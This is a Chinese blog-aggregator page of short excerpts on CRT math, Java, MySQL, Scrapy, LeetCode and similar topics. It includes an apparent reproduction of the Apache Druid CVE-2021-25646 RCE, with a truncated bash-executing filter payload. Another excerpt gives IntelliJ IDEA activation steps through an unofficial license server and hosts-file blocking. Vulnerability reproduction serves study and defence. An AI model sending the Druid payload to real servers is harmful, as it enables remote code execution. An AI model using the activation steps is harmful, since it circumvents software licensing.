next

CRT&EXCRT 中国剩余定理及其扩展

自作多情 提交于 2021-02-08 06:37:04
前言: 中国剩余定理又名孙子定理。因孙子二字歧义,常以段子形式广泛流传。 中国剩余定理并不是很好理解,我也理解了很多次。 CRT 中国剩余定理 中国剩余定理,就是一个解同余方程组的算法。 求满足n个条件的最小的x。 看起来很麻烦。 先找一个特殊情况:$m_1,m_2,...m_n$两两互质。 这个时候,构造$M=m_1*m_2*...m_n$; 令$M_i=M/m_i$; 所以,构造$n$个数,其中第$i$个数是除$i$之外的其他所有数的倍数,并且第$i$个数$mod m_i =1$ 即:$M_i x = 1 ( mod m_i ) $求出这样一个x,就求出了 这个数。 因为$m$之间两两互质,所以对于$n$个这样的方程,$x$本质上就是$M_i$在$m_i$意义下的乘法逆元。 (不会$exgcd$?左转: EXGCD 扩展欧几里得 ) 因为互质,一定有解的。 用扩展欧几里得算就可以。 同理,构造$n$个数。$b_1,b_2....b_n$ 其中,$b_i=M_i \times x_i$ 那么,因为$b_i = 1 (mod m_i)$,所以$ b_i * a_i = a_i (mod m_i)$ 那么,原题目中的这个x就是:$x=(a_1\times b_1+a_2\times b_2+...+a_n\times b_n) $验证一下,是不是? 总得来说, 对于$mi$互质的情况

IntelliJ IDEA 安装、注册码激活

我怕爱的太早我们不能终老 提交于 2021-02-08 05:29:06
IntelliJ IDEA 安装、注册码激活 一、安装 1、下载IDEA 2、双击.exe文件,显示如图,点击next 3、选择安装位置,点击next 4、勾选相应操作系统位数、安装插件,点击next 5、接下来就是选择我们的菜单,然后点击install安装就会进入安装过程 6、安装完成后,会出现下图finish结束按钮,上面的选项是问我们是否现在打开IDEA 注: JDK安装步骤参考如下网址: https://www.cnblogs.com/Michelle20180227/p/10564215.html 二、激活 方法一:使用激活服务器激活方法 步骤 1、打开注册/激活窗口; 2、选择 License server; 3、填入上述其中一个网址(如:http://idea .java .sx ); 4、点击Activate即可完美激活! 方法二:注册码激活方法(建议用这种) 1、进入hosts文件中:C:\Windows\System32\drivers\etc\hosts 2、将“0.0.0.0 account.jetbrains.com”添加到hosts文件中 注意:添加只有重新打开hosts文件进行确认之后在进行下一步操作。 修改成功后如图所示: 注:将这条数据加入之后会提示保存,然后确认之后,重新打开hosts文件确认是否添加成功,有时候会提示确认两次。 4

201874040116-李鑫《面向对象程序设计(java)》第四周学习总结

一曲冷凌霜 提交于 2021-02-08 03:29:28
项目 内容 《面向对象程序设计(java)》 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/11552848.html 作业学习目标 掌握类与对象的基础概念,理解类与对象的关系; 掌握对象与对象变量的关系; 掌握预定义类Date、LocalDate类的常用API; 掌握用户自定义类的语法规则,包括实例域、静态域、构造器方法、更改器方法、访问器方法、静态方法、main方法、方法参数的定义要求;(重点、难点) 掌握对象的构造方法、定义方法及使用要求;(重点); 理解重载概念及用法; 掌握包的概念及用法; 第一部分:总结第四章理论知识 4.1   面向对象程序设计(OOP):  主流的程序设计范例;  将数据放在第一位,然后再考虑操作数据的算法;  适合于大型程序的开发。   类(CLASS):  构造对象的模板;  由类构造对象的过程称为创建类的实例。     对象:  有 对象的行为,对象的状态,对象标识 三个主要特性;  类的实例。   类之间常见的三种关系:依赖(dependence),聚合(aggregation),继承(inheritance)。 4.2     构造器:  构造对象时使用的特殊的方法,与类同名。  使用方法:以Data类为例, new

201874040116-李鑫《面向对象程序设计(java)》第8周学习总结

試著忘記壹切 提交于 2021-02-08 03:28:25
项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.com/nwnu-daizh/p/11703678.html 作业学习目标 掌握接口定义方法; 掌握实现接口类的定义要求; 掌握实现了接口类的使用要求; 理解程序回调设计模式; 掌握Comparator接口用法; 掌握对象浅层拷贝与深层拷贝方法; 掌握Lambda表达式语法; 了解内部类的用途及语法要求。 第一部分:总结第六章理论知识   1.接口(interface):        接口的声明语法格式如下:     [ 可见度 ] interface 接口名称 [ extends 其他的接口名 ] {      // 声明变量       // 抽象方法     }     1)接口不是类,是对类的一组需求描述,由常量和抽象方法组成,不能包含实例域和静态方法     2)不能构造接口的对象,但可以声明接口的变量,接口变量必须引用实现了接口的类对象     3)接口可以象类的继承一样扩展 public interface 接口1 extends接口2 {...}     4)一个类可以实现多个接口   2.回调(callback):     指出某个特定事件发生时应该采取的动作;在java

mysql5.7.20安装

孤者浪人 提交于 2021-02-07 19:01:58
MySQL 的官网下载地址: http://www.mysql.com/downloads/ 一、各版本的区别 1. MySQL Community Server 社区版本,开源免费,但不提供官方技术支持。 2. MySQL Enterprise Edition 企业版本,需付费,可以试用30天。 3. MySQL Cluster 集群版,开源免费。可将几个MySQL Server封装成一个Server。 4. MySQL Cluster CGE 高级集群版,需付费。 5. MySQL Workbench(GUI TOOL)一款专为MySQL设计的ER/数据库建模工具。它是著名的数据库设计工具DBDesigner4的继任者。MySQL Workbench又分为两个版本,分别是社区版(MySQL Workbench OSS)、商用版(MySQL Workbench SE)。 我选择MySQL Community Server,下载的文件为mysql-installer-community-5.7.21.0.msi,这个是windows图形界面的离线安装方式,可以免去很多直接解压安装方式的配置。 二,安装(windows安装包安装) 1,点击mysql-installer-community-5.7.21.0.msi安装 如果出现下面的提示框,表明安装程序需要.Net

英超引入 AI 球探,寻找下一个足球巨星

徘徊边缘 提交于 2021-02-07 12:14:31
作者 | 神经小兮 来源 | HyperAI超神经 头图 | 下载于视觉中国 球探对于很多人来说是一个略显神秘的群体,他们对一个球队的建设和发展至关重要。为了提高球探的工作效率,英超伯恩利足球俱乐部最近启用了 AI 球探。 关键词: AI 球探 计算机视觉 姿态识别 最近,中国足球运动员李嗣镕,与荷兰海牙足球俱乐部签下职业合同,这一消息很快登上微博热搜,但他上热搜的原因竟是因为:太帅了。 李嗣镕今年 18 岁,是一个「球二代」, 父亲是前中国国家队国脚李明 虽然因为帅而火出圈,但李嗣镕实际上是集高颜值与实力于一身。7 岁开始练球,12 岁进入海牙俱乐部青训系统,并被俱乐部 CEO 哈姆迪看好,认为他「将来可以去英超赛场闯荡」。 在众多年轻球员中,还隐藏着更多李嗣镕这样的潜力股,他们如何才能被发现?这还要从足球圈内一个特殊的职业说起。 独具慧眼的球探,发现明日之星 在各大联赛足球俱乐部,除了教练、球员以及管理人员外,还有一个职位至关重要,那就是球探。 球探的职责,就是在全球各地大大小小的比赛中,发现天赋过人的年轻球员,并把他们推荐给教练。 对于很多天才球员来说,球探无异于发现千里马的伯乐。 贝克汉姆: 他在 11 岁那年的一场少年队比赛中,因为抢眼的表现,被曼联著名球探马尔科姆·费吉恩相中,之后很快收到曼联的邀请函; 梅西: 在 13 岁时被巴塞罗那球探雷克萨奇发现并签约; 罗纳尔多

Python——Scrapy爬取链家网站所有房源信息

浪子不回头ぞ 提交于 2021-02-06 09:49:57
用scrapy爬取链家全国以上房源分类的信息: 路径: items.py # -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # https://doc.scrapy.org/en/latest/topics/items.html import scrapy class LianItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() pass class ErShouFangItem(scrapy.Item): # 省份 province = scrapy.Field() # 城市 city = scrapy.Field() # 总价 total_price = scrapy.Field() # 单价 single_price = scrapy.Field() # 楼层 room_info = scrapy.Field() # 住宅位置 region = scrapy.Field() # 房屋朝向及装修情况 direction = scrapy.Field() # 建筑面积 area = scrapy.Field() #

【java集合类】ArrayList和LinkedList源码分析(jdk1.8)

被刻印的时光 ゝ 提交于 2021-02-06 09:08:23
前言:   ArrayList底层是依靠数组实现的,而LinkedList的实现是含前驱后继节点的双向列表。平时刷题时会经常使用到这两个集合类,这两者的区别在我眼中主要是ArrayList读取节点平均时间复杂度是O(1)级别的,插入删除节点是O(n);LinkedList读取节点时间复杂度是O(n),插入节点是O(1)。   本文记录我对jdk1.8下的ArrayList和LinkedList源码中主要内容的学习。 1、ArrayList 1.1 主要成员变量 1 // 默认容量 2 private static final int DEFAULT_CAPACITY = 10 ; 3 // 空的数组 4 private static final Object[] EMPTY_ELEMENTDATA = {}; 5 6 private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {}; 7 // 数据数组 8 transient Object[] elementData; // non-private to simplify nested class access 9 // 当前大小 10 private int size;   主要成员变量如上,最重要的就是size和elementData

【每日算法/刷穿 LeetCode】24. 两两交换链表中的节点(中等)

血红的双手。 提交于 2021-02-05 20:40:06
点击 这里 可以查看更多算法面试相关内容~ 题目描述 给定一个链表,两两交换其中相邻的节点,并返回交换后的链表。 你不能只是单纯的改变节点内部的值,而是需要实际的进行节点交换。 示例 1: 输入:head = [1,2,3,4] 输出:[2,1,4,3] 示例 2: 输入:head = [] 输出:[] 示例 3: 输入:head = [1] 输出:[1] 提示: 链表中节点的数目在范围 [0, 100] 内 0 <= Node.val <= 100 递归解法(哨兵技巧) 哨兵技巧我们之前在前面的多道链表题讲过,让三叶来帮你回忆一下: 做有关链表的题目,有个常用技巧:添加一个虚拟头结点(哨兵),帮助简化边界情况的判断。 链表和树的题目天然适合使用递归来做。 我们可以设计一个递归函数,接受一个 ListNode 节点 root 作为参数,函数的作用是将 root 后面的两个节点进行交换,交换完成后再将下一个节点传入 ... 交换的前提条件:节点 root 后面至少有两个节点。同时别忘了应用我们的「哨兵技巧」: class Solution { public ListNode swapPairs(ListNode head) { ListNode dummy = new ListNode(-1); dummy.next = head; recursive(dummy); return

Apache Druid RCE(CVE-2021-25646)复现

一个人想着一个人 提交于 2021-02-05 17:02:35
漏洞概述 Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。 Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。 影响版本 Apache Druid < 0.20.1 环境搭建 这里使用docker来搭建 拉取镜像并启动 Apache Druid:0.16.0 版本的环境 docker pull fokkodriesprong/docker-druid docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid 访问your-ip:8888即可看到页面 漏洞复现 点击Load data -> Local disk 依次填入 Base directory: quickstart/tutorial/ File filter: wikiticker-2015-09-12-sampled.json.gz 默认next 到filter项 抓包修改filter为 { "type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash